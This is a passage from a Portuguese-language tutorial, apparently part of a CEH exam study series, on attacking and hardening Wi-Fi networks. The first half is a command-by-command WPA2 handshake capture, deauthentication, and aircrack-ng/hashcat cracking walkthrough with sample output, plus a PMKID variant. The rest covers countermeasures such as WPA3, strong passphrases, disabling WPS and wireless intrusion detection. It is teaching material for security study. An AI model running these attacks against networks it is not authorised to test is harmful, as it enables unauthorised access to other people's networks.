# AA:BB:CC:DD:EE:FF  -45  1523     847    6   WPA2  MinhaRede
# 11:22:33:44:55:66  -67  892      234    1   WPA2  VizinhoNet
#
# BSSID              STATION            PWR  Rate  Lost  Frames  Notes
# AA:BB:CC:DD:EE:FF  77:88:99:AA:BB:CC -51  54e-54  0     1243
#
# Ctrl+C para parar

# Anotar:
# Alvo: BSSID AA:BB:CC:DD:EE:FF, Canal 6, ESSID "MinhaRede"
# Cliente: 77:88:99:AA:BB:CC

# ============================================================
# PASSO 3: Capturar no Canal do Alvo
# ============================================================
# Abrir novo terminal
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/handshake wlan0mon
#
# Aguardar "WPA handshake: AA:BB:CC:DD:EE:FF" no canto superior direito
# Se não aparecer em 1-2 minutos, forçar com deauth

# ============================================================
# PASSO 4: Forçar Handshake (se necessário)
# ============================================================
# Em outro terminal
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 77:88:99:AA:BB:CC wlan0mon
#
# Voltar ao airodump-ng e verificar se apareceu o handshake
# Se não, tente mais deauth frames ou espere mais tempo

# ============================================================
# PASSO 5: Verificar Handshake Capturado
# ============================================================
aircrack-ng /tmp/handshake-01.cap
# Deve mostrar: "1 handshake"

# ============================================================
# PASSO 6: Cracking
# ============================================================
# Descompactar rockyou.txt (primeira vez)
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

# Cracking com aircrack-ng (CPU)
aircrack-ng -w /usr/share/wordlists/rockyou.txt /tmp/handshake-01.cap
#
#                               Aircrack-ng 1.7
#
#       [00:05:23] 847293 keys tested (2453.18 k/s)
#
#       TIME: 00:05:45
#
#                   KEY FOUND! [ MinhaSenha123 ]
#
#       Master Key     : 7A 3F 8B 2C D1 4E 9A F6 ...
#       Transient Key  : C4 2D 8E 1A 5B 7F 3C 9D ...

# ============================================================
# PASSO 7: Limpeza
# ============================================================
# Restaurar interface
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager

# Remover capturas (se em ambiente de produção)
rm -f /tmp/handshake*.cap

Fluxo do PMKID (Alternativa mais Silenciosa)

# Se o AP suporta PMKID (mais rápido, sem deauth)
sudo hcxdumptool -i wlan0mon -o /tmp/pmkid.pcapng --enable_status=15
# Ctrl+C após ~30 segundos

# Converter
hcxpcapngtool -o /tmp/pmkid.hc22000 /tmp/pmkid.pcapng

# Crack
hashcat -m 22000 /tmp/pmkid.hc22000 /usr/share/wordlists/rockyou.txt

# Ver resultado
hashcat -m 22000 /tmp/pmkid.hc22000 --show

12. Contra-medidas e Hardening

A defesa contra ataques wireless combina configurações corretas com monitoramento ativo. Aqui está o checklist completo para proteger redes wireless.

1. WPA3 Onde Possível

A migração para WPA3 é a defesa mais eficaz. WPA3-SAE elimina o cracking offline e adiciona forward secrecy. Em APs que suportam WPA3, configure em modo WPA3-only (não modo misto WPA2/WPA3). Dispositivos legados que não suportam WPA3 devem ser segregados em VLAN separada ou atualizados.

2. Senhas Fortes (16+ Caracteres)

A defesa fundamental do WPA2-PSK é a força da senha. Com cracking GPU atingindo ~300.000 PMKs/segundo:

  • 8 caracteres (letras minúsculas): 26^8 = 208 bilhões de combinações. Quebrado em minutos com GPU.
  • 8 caracteres (maiúsculas + minúsculas + números + símbolos): 95^8 = 6.6 quatrilhões. ~6 horas com RTX 4090.
  • 12 caracteres (todos os tipos): 95^12 = 5.4 × 10^23. ~570 anos com RTX 4090. Praticamente seguro.
  • 16+ caracteres aleatórios: 95^16 = 4.4 × 10^31. Seguro contra qualquer ataque de dicionário ou brute-force realista.

Use frases-senha (passphrases) memoráveis: "GatoMarromPulaNaCadeira#2024!" — 32 caracteres, fácil de lembrar, impossível de quebrar.

3. Desabilitar WPS

O WPS é uma porta dos fundos para a rede Wi-Fi. O PIN de 8 dígitos pode ser brute-forçado em horas (ou segundos com Pixie Dust). Desabilite WPS completamente em todos os APs — não basta usar "WPS Lock", que pode ser desbloqueado remotamente em alguns modelos.

# Verificar se WPS está ativo (como atacante)
sudo wash -i wlan0mon
#
# BSSID              Ch  dBm  WPS  Lck  Vendor    ESSID
# AA:BB:CC:DD:EE:FF  6   -45  1.0  No   TP-Link   MinhaRede

4. WPA2-Enterprise (802.1X) para Ambientes Corporativos

O WPA2-Enterprise elimina o problema de chave compartilhada. Cada usuário tem credenciais individuais (certificado ou username/password via RADIUS). Comprometer uma credencial não compromete toda a rede — apenas o acesso desse usuário. A rotação de credenciais e o MFA adicionam camadas extras.

5. Monitorar Rogue APs — WIDS

Um Wireless Intrusion Detection System monitora o espectro wireless em busca de:

  • APs com BSSID não autorizado
  • Múltiplos deauth frames em sequência
  • APs com SSID duplicado (possível evil twin)
  • Mudanças súbitas no BSSID de um SSID conhecido

Ferramentas WIDS: Kismet (open-source), solutions comerciais (Cisco WLC WIPS, Aruba ClearPass, Fortinet FortiWLC). Kismet é particularmente útil porque detecta automaticamente deauth floods e SSID spoofing.

6. Auditorias Regulares

Realize auditorias wireless periódicas (trimestral no mínimo) com ferramentas como Wifite e Aircrack-ng. Teste suas próprias redes como um atacante faria — se você consegue capturar e crackar o handshake, um atacante também consegue. Documente os resultados e corrija imediatamente.

7. MAC Filtering (Débil, Mas Não Inútil)

O MAC filtering bloqueia dispositivos por endereço MAC. É facilmente burlado (qualquer pentester pode falsificar um MAC com macchanger -m AA:BB:CC:DD:EE:FF wlan0). No entanto, adiciona uma camada de fricção que impede usuários não-técnicos de conectar dispositivos não autorizados. Use como complemento, nunca como defesa principal.

8. Hidden SSID — Não Ajuda

Ocultar o SSID (disabling beacon) é segurança por obscuridade. O SSID é transmitido em plaintext em probe requests, probe responses, association requests e reassociation requests. Qualquer adaptador em monitor mode detecta o SSID oculto em segundos:

# Detectar hidden SSIDs — o airodump-ng mostra "(length: X)" para SSIDs ocultos
# e revela o nome quando um cliente se conecta
sudo airodump-ng wlan0mon
# AA:BB:CC:DD:EE:FF  -45  1523  847  6  WPA2  

Não gaste tempo ocultando SSIDs. Configure um SSID genérico se quiser evitar identificação da organização, mas não espere segurança disso.


Resumo do Artigo

Wireless hacking é um dos domínios mais acessíveis e práticos do pentesting. A cadeia de ataque WPA2 — monitor mode → scan → handshake capture → deauth → offline cracking — pode ser executada em minutos com o conhecimento certo e o hardware adequado.

A evolução para WPA3 representa uma mudança de paradigma: o fim do cracking offline significa que o atacante precisa de abordagens mais sofisticadas — evil twin, phishing, exploração de implementações. Mas enquanto a maioria das redes ainda rodar WPA2-PSK com senhas fracas, as técnicas clássicas continuam sendo altamente eficazes.

Para a prova do CEH v13, foque em:

  • Entender o 4-way handshake e por que ele permite cracking offline
  • Saber operar cada componente do Aircrack-ng
  • Conhecer a evolução WEP → WPA → WPA2 → WPA3 e as fraquezas de cada
  • Entender o ataque PMKID e por que é mais silencioso
  • Saber configurar contra-medidas (WPA3, senhas fortes, desabilitar WPS)

Na próxima seção da série, vamos explorar Session Hijacking — como explorar sessões web, tokens e cookies para assumir a identidade de usuários autenticados.

📚 Próximo artigo: Session Hijacking: Cookies, Tokens e a Arte de Assumir Identidades — Cobrindo session fixation, prediction, hijacking de HTTP/HTTPS, XSS stealing, e defesa com SameSite cookies, HSTS, e token binding.